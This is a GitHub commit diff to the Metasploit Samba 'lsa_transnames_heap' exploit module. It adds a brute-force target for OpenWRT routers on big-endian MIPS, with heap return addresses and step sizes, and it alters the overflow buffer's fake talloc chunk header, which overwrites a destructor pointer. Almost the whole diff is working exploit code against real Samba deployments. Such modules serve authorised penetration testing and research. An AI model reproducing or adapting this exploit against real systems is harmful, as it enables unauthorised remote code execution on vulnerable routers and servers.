Skip to content

Commit 411689a

Browse files
committed
Adding changes to Samba exploit to target MIPSBE (this is for OpenWRT on a router
1 parent 4d3611c commit 411689a

File tree

1 file changed

+15
-1
lines changed

1 file changed

+15
-1
lines changed

modules/exploits/linux/samba/lsa_transnames_heap.rb

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -168,6 +168,20 @@ def initialize(info = {})
168168
}
169169
],
170170

171+
['Linux Heap Brute Force (OpenWRT MIPS)',
172+
{
173+
'Platform' => 'linux',
174+
'Arch' => [ ARCH_MIPSBE ],
175+
'Nops' => 64*1024,
176+
'Bruteforce' =>
177+
{
178+
'Start' => { 'Ret' => 0x55900000 },
179+
'Stop' => { 'Ret' => 0x559c0000 },
180+
'Step' => 60*1024,
181+
}
182+
}
183+
],
184+
171185
['DEBUG',
172186
{
173187
'Platform' => 'linux',
@@ -267,7 +281,7 @@ def brute_exploit(target_addrs)
267281
talloc_magic = "\x70\xec\x14\xe8"
268282

269283
# second talloc_chunk header
270-
buf << 'A' * 8 # next, prev
284+
buf << NDR.long(0) + NDR.long(0) # next, prev
271285
buf << NDR.long(0) + NDR.long(0) # parent, child
272286
buf << NDR.long(0) # refs
273287
buf << [target_addrs['Ret']].pack('V') # destructor

0 commit comments

Comments
 (0)